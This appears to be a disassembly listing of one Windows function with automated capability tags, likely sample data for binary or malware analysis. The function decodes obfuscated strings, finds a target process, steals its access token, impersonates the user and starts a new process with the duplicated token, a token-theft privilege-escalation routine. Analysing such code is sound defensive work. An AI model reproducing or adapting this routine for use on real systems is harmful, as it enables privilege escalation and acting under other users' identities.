Function at 0x412970
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Enumerate processes
Impersonate user

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x460748
mov eax, dword fs:[0]
push eax
sub esp, 0x33c
mov eax, dword [0x482024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0xa0], 0x577a0555
mov dword [ebp - 0x9c], 0x1b712499
mov dword [ebp - 0x98], 0x85e3f6a2
mov byte [ebp - 0x94], 0
nop dword [eax + eax]
mov dl, al
mov cl, al
sub dl, byte [ebp + eax - 0xa0]
mov dh, 6
xor dl, 0x9f
add dl, 0x69
not dl
sub dl, al
xor dl, 0x44
sub cl, dl
mov dl, al
xor cl, 0xaf
sub dl, cl
movzx ecx, al
ror dl, 1
sub dl, al
imul ecx, ecx, 0xfe
xor dl, al
not dl
add dl, 0x1a
ror dl, 2
sub dl, 0x57
xor dl, al
sub dh, dl
mov dl, 0x7d
rol dh, 1
add dh, al
neg dh
xor dh, al
add dh, al
xor dh, 9
sub cl, dh
not cl
add cl, al
rol cl, 2
not cl
xor cl, al
sub cl, 6
rol cl, 2
xor cl, al
add cl, 0x25
ror cl, 3
sub cl, al
ror cl, 1
sub cl, 0x41
xor cl, al
add cl, 7
ror cl, 3
sub cl, 0x56
xor cl, al
add cl, al
neg cl
xor cl, al
mov dword [ebp - 0x32c], ecx
mov cl, 0x5b
sub cl, byte [ebp - 0x32c]
xor cl, al
sub dl, cl
xor dl, 0x18
sub dl, al
xor dl, al
ror dl, 3
xor dl, 0xe4
add dl, 0x43
not dl
sub dl, al
xor dl, 0xb6
sub dl, al
ror dl, 2
mov byte [ebp + eax - 0xa0], dl
inc eax
cmp eax, 0xd
jb 0x4129d0
movq xmm1, qword [ebp - 0xa0]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
mov ecx, 8
movups xmmword [ebp - 0x90], xmm1
nop
movzx eax, byte [ebp + ecx - 0xa0]
mov word [ebp + ecx*2 - 0x90], ax
inc ecx
cmp ecx, 0xd
jb 0x412ab0
xor edi, edi
xor eax, eax
push edi
push 2
mov word [ebp - 0x76], ax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x412e0c
push 0x228
lea eax, [ebp - 0x324]
mov dword [ebp - 0x328], 0x22c
push edi
push eax
call fcn.004415a0
add esp, 0xc
lea eax, [ebp - 0x328]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x412b4e
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax]
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x304]
push eax
call fcn.00444e7d
add esp, 8
test eax, eax
je 0x412e01
lea eax, [ebp - 0x328]
push eax
push esi
call edi
test eax, eax
jne 0x412b20
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x412e0c
xorps xmm0, xmm0
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x32c], 0
xor edx, edx
movlpd qword [ebp - 0xf8], xmm0
movlpd qword [ebp - 0xf0], xmm0
movlpd qword [ebp - 0xe8], xmm0
movlpd qword [ebp - 0xe0], xmm0
movlpd qword [ebp - 0xd8], xmm0
movlpd qword [ebp - 0xd0], xmm0
movlpd qword [ebp - 0xc8], xmm0
movlpd qword [ebp - 0xc0], xmm0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0xfc], 0x44
mov dword [ebp - 0x344], 0x89ba4ab6
mov dword [ebp - 0x340], 0xac4e0e3b
mov dword [ebp - 0x33c], 0x91e79b68
mov dword [ebp - 0x338], 0xe04c05e
mov byte [ebp - 0x334], 0x5f
nop word [eax + eax]
mov cl, byte [ebp + edx - 0x344]
mov al, 0xbf
rol cl, 1
sub al, dl
sub cl, 0x34
ror cl, 1
xor cl, dl
sub cl, 0x7f
xor cl, dl
add cl, 0x67
rol cl, 1
inc cl
ror cl, 2
sub cl, dl
xor cl, 0xd2
rol cl, 3
xor cl, dl
add cl, 0x30
xor cl, dl
add cl, 0x24
not cl
add cl, 0x2d
not cl
xor cl, dl
ror cl, 3
xor cl, dl
add cl, 0x12
rol cl, 1
not cl
sub cl, dl
ror cl, 1
add cl, al
rol cl, 3
add cl, 0x61
xor cl, dl
sub cl, dl
sub cl, 0x1d
xor cl, 0xa6
sub cl, dl
not cl
xor cl, dl
ror cl, 1
mov byte [ebp + edx - 0x344], cl
inc edx
cmp edx, 0x11
jb 0x412c00
push edi
push 1
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [ebp - 0x330]
push ecx
push 0x2000000
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x412cb2
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
mov eax, dword [ebp + 0x18]
lea edi, [ebp + 8]
cmovae edx, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xa8], 0
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x348], eax
cmovae edi, dword [ebp + 8]
xor ecx, ecx
sub eax, edi
mov word [ebp - 0xb8], cx
push eax
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xa4], 7
call fcn.004261a0
push dword [ebp - 0x348]
lea ecx, [ebp - 0xb8]
push dword [ebp - 0x348]
push edi
call fcn.00426550
lea eax, [ebp - 0x32c]
push eax
push 1
push 2
push 0
push 0x2000000
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
cmp dword [ebp - 0xa4], 8
lea ecx, [ebp - 0xa0]
push ecx
lea ecx, [ebp - 0xfc]
push ecx
push 0
push 0
push 0x8000000
push 0
lea eax, [ebp - 0xb8]
cmovae eax, dword [ebp - 0xb8]
push eax
push 1
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov edx, dword [ebp - 0xa4]
cmp edx, 8
jb 0x412db0
mov ecx, dword [ebp - 0xb8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x412da6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412e5c
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
cmp edx, 0x10
jb 0x412dfd
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412df3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412e5c
push edx
push ecx
call fcn.0042aa8a
add esp, 8
xor eax, eax
jmp 0x412e41
mov edi, dword [ebp - 0x320]
jmp 0x412b4e
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x412e3c
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412e32
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412e5c
push edx
push ecx
call fcn.0042aa8a
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042a413
mov esp, ebp
pop ebp
ret
call fcn.004458bc
int3